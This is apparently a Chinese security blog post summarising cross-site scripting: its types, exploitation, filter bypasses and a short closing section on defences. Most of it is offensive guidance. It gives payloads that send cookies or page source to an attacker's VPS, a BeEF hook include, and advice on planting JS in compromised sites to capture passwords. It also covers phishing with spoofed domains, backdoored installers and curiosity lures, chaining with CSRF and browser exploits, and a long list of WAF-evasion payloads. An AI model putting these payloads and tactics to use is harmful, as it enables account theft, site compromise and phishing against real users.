XSS跨站总结

什么是XSS攻击

XSS(Cross Site Scripting)攻击,也称为跨站脚本攻击,是一种常见的网络攻击方式。其原理是恶意攻击者往Web页面里插入恶意可执行网页脚本代码,当用户浏览该页之时,嵌入其中Web里面的脚本代码会被执行,从而可以达到攻击者盗取用户信息或其他侵犯用户安全隐私的目的

tips: 产生在前端的攻击

XSS的分类

反射型(非持久型)

攻击代码并未存储在目标服务器上,而是通过URL或其他方式传递给用户。当用户点击包含恶意脚本的链接时,恶意脚本会被执行。

tips: 反射型xss需要人去点击,危害不大,想要扩大危害通常会结合社工钓鱼使用

存储型(持久型)

攻击代码存储在目标服务器上,当用户访问页面时,服务器会将存储的恶意脚本一同发送给用户,从而在用户的浏览器中执行。

tips: 这种攻击通常发生在用户可以提交数据并被其他用户查看的场景,例如论坛、博客、留言板等

利用: 一般发现存储型xss可以结合BeEF平台进行钓鱼利用

DOM型

一种基于文档对象模型的跨站脚本攻击。这种攻击通常发生在Web应用程序将数据写入DOM时,如果没有进行适当的清理和转义,攻击者就可以操纵这些数据,包括在网页上插入恶意的JavaScript代码。

tips: DOM型只涉及到前端JS,其他型会涉及到后端

mXSS(突变型)

原先的payload不会产生危害,但是由于一些特殊原因,如反编码等,导致payload变异,产生危害
如: 本来无害的带有payload的url 通过qq转发 或者一些软件自带的预览功能 产生XSS

uXSS

uXSS是利用浏览器或者浏览器扩展漏洞产生XSS并且执行代码的一种攻击类型

flashXSS

攻击的原理是利用Flash文件(.swf)可以调用JavaScript的函数,如果这些函数使用不当,就可能导致XSS攻击。

挖掘

一般可以通过JPEXS工具去反编译.swf文件然后查找可以调用JS危险函数: getURL,navigateToURL,ExternalInterface.call(常见),htmlText,loadMovie等
看这些函数的参数是否可控制,从而实现XSS攻击

tips: 一般网游和影视网站等调用flash的多,出现此漏洞概率大

pdfXSS

利用pdf文件可以调用JS的功能,向pdf文件中插入恶意JS代码,如果用户使用浏览器打开pdf文件,就会执行恶意代码,一般会使用比较会让人信赖的平台(前提是这个平台没有对此类文件进行过滤)去上传此类pdf文件然后让受害者去直连访问,一般结合钓鱼使用

其他XSS

如: UTF-7XSS MHTMLXSS CSSXSS VBScriptXSS 利用条件过老(需要IE浏览器低版本)

XSS的利用

直接利用

  1. 获取cookie

<script>window.location.href='http://<vps的ip>:<端口>/<api接口>?<参数名>=' + document.cookie</script>

  1. 当获取cookie没用的时候(cookie只能用一次或者其他情况),可以试试获取管理员登录时候的网页源码

<script>window.location.href='http://<vps的ip>:<端口>/<api接口>?<参数名>=' + document.documentElement.outerHTML</script>

工具利用

BeEF-XSS 工具:

  1. 向服务器上传XSS恶意代码 <script src="http:// <vps的ip> : <BeEF端口> /hook.js"></script>
  2. 只要有人访问便可成功上线BeEF,然后可以进行各种操作,钓鱼,拿cookie登录后台(这种方式只限制于cookie单一验证,或者是无防护的情况)

XSS权限维持

拿到webshell后,一般都会上传木马,但是木马一般会被查杀软件检测,但是js代码却不会,所以可以在web服务的源码中插入js代码(前提是关闭CSP,一般在配置文件中(全局配置),和对应源代码(单独文件设置)),然后使用BeEF等工具进行攻击

tips: 可以在提交表单处(输入账号密码)插入js去得到别人输入的账号密码(cookie劫持不管用,数据库储存的密码是密文的时候特别管用)

XSS配合钓鱼

可以用一些常规软件然后捆绑实现钓鱼,这里用flash来举例子

  1. 域名伪造 flash可以用f1ash去代替创建域名 或者 用在线网站创建一个短链接
  2. 扒下原安装页面的的源码 然后修改 将文件下载的路径改成后门下载路径
  3. 后门免杀和伪装
  4. 语言诱导,可以用好奇心去诱导(某主播视频流出,或者是什么吃瓜的东西)或者用XSS去提示跳转

XSS配合CSRF

如果目标网站存在可以在在线状态访问一个url达到重置密码的效果(CSRF),就可以配合存储型XSS跳转到这个URL去实现重置管理员的用户密码(在管理员登录的时候)

XSS配合浏览器漏洞上线网马

  1. msf生成浏览器网马(如:ms14_064_ole_code_execution 只适用于IE内核浏览器 操作系统通常为winxp win7,如果后续有可以利用的浏览器可以替代)
  2. 然后用xss工具去跳转访问浏览器网马的url 访问及上线

XSS的常见绕过

  1. script标签被过滤: 使用其他标签如img标签,input标签等等

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    <img src=1 onerror=alert("xss");>
    <input onfocus="alert('xss');">
    <details ontoggle="alert('xss');">
    <svg onload=alert("xss");>
    <select onfocus=alert(1)></select>
    <iframe onload=alert("xss");></iframe>
    <video><source onerror="alert(1)">
    <audio src=x onerror=alert("xss");>
    <textarea onfocus=alert("xss"); autofocus>
    <body/onload=alert("xss");>
    <keygen autofocus onfocus=alert(1)> //仅限火狐
    <marquee onstart=alert("xss")></marquee> //Chrome不行,火狐和IE都可以
    <isindex type=image src=1 onerror=alert("xss")> //仅限于IE

    <body
    onscroll=alert("xss");><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
  2. 过滤空格: 用/代替空格

    1
    <img/src="x"/onerror=alert("xss");> 
  3. 关键字过滤:

  • 大小写绕过:

    1
    <ImG sRc=x onerRor=alert("xss");> 
  • 字符串拼接:

    1
    2
    3
    4
    5
    // 利用eval
    <img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">

    // 利用top
    <script>top["al"+"ert"](`xss`);</script>
  • 双写绕过: (有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过)

    1
    <imimgg srsrcc=x onerror=alert("xss");>
  • 编码绕过:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    // unicode编码
    <img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;">
    <img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">

    // url编码
    <img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
    <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>

    // Ascii码绕过
    <img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">

    // hex绕过
    <img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>

    // 八进制
    <img src=x onerror=alert('\170\163\163')>

    // base64绕过
    <img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
    <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
  • 过滤双引号,单引号:
    如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号

    1
    <img src="x" onerror=alert(`xss`);>
  • 过滤括号:(当括号被过滤的时候可以使用throw来绕过)

    1
    <svg/onload="window.onerror=eval;throw'=alert\x281\x29';">

    参考:https://xz.aliyun.com/t/4067/?time__1311=eqjxg7GQoDqGqAK5GN9CDUO0G70QQQe%2Be4D&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Ft%2F4067%2F#toc-4

XSS防御

输入输出过滤

对用户的输入进行检查,输入内存长度限定,实体转义,对输出进行检查

httponly设置

HttpOnly是一个在 HTTP 响应头Set-Cookie里面的附加标志。它是一种安全标志,用于限制 Cookie 的访问权限。当一个 Cookie 的 HttpOnly 属性被设置为 true 时,这个 Cookie 只能通过服务器端进行修改,JavaScript 是无法访问和修改这个 Cookie 的。这样,浏览器将禁止 JavaScript 对该 Cookie 的访问。

tips: 在用BeEF去hook到了之后依旧可以拿到cookie,因为BeEF不是通过JS去获取Cookie,而是通过反向连接去获得

CSP

CSP,全名为 Content Security Policy,也就是内容安全策略。它是一种由开发者定义的安全性政策性声明,旨在减少跨站脚本攻击(XSS)。

CSP 的工作原理是限制页面可以加载的资源和被其他页面框架的情况。要启用 CSP,响应需要包含一个 HTTP 响应头,该头使用包含策略的值调用。这个策略可以指定可信的内容来源,这里的内容可以指脚本、图片、iframe、字体、样式等等可能的远程的资源。

例如,你可以设置一个 CSP 策略,只允许从你自己的网站加载脚本,而不允许从其他任何网站加载脚本。这样,即使攻击者成功地将一个恶意脚本注入到你的网页中,这个脚本也无法被执行,因为它不符合你的 CSP 策略。

总的来说,CSP 是一种重要的 Web 安全机制,它可以帮助防止跨站脚本攻击(XSS)和其他一些攻击。通过正确地设置 CSP 策略,开发人员可以提高 Web 应用程序的安全性,并保护用户的隐私和敏感信息。

Contents
  1. 1. 什么是XSS攻击
  2. 2. XSS的分类
    1. 2.1. 反射型(非持久型)
    2. 2.2. 存储型(持久型)
    3. 2.3. DOM型
    4. 2.4. mXSS(突变型)
    5. 2.5. uXSS
    6. 2.6. flashXSS
      1. 2.6.1. 挖掘
    7. 2.7. pdfXSS
    8. 2.8. 其他XSS
  3. 3. XSS的利用
    1. 3.1. 直接利用
    2. 3.2. 工具利用
    3. 3.3. XSS权限维持
    4. 3.4. XSS配合钓鱼
    5. 3.5. XSS配合CSRF
    6. 3.6. XSS配合浏览器漏洞上线网马
    7. 3.7. XSS的常见绕过
    8. 3.8. XSS防御
      1. 3.8.1. 输入输出过滤
      2. 3.8.2. httponly设置
      3. 3.8.3. CSP
|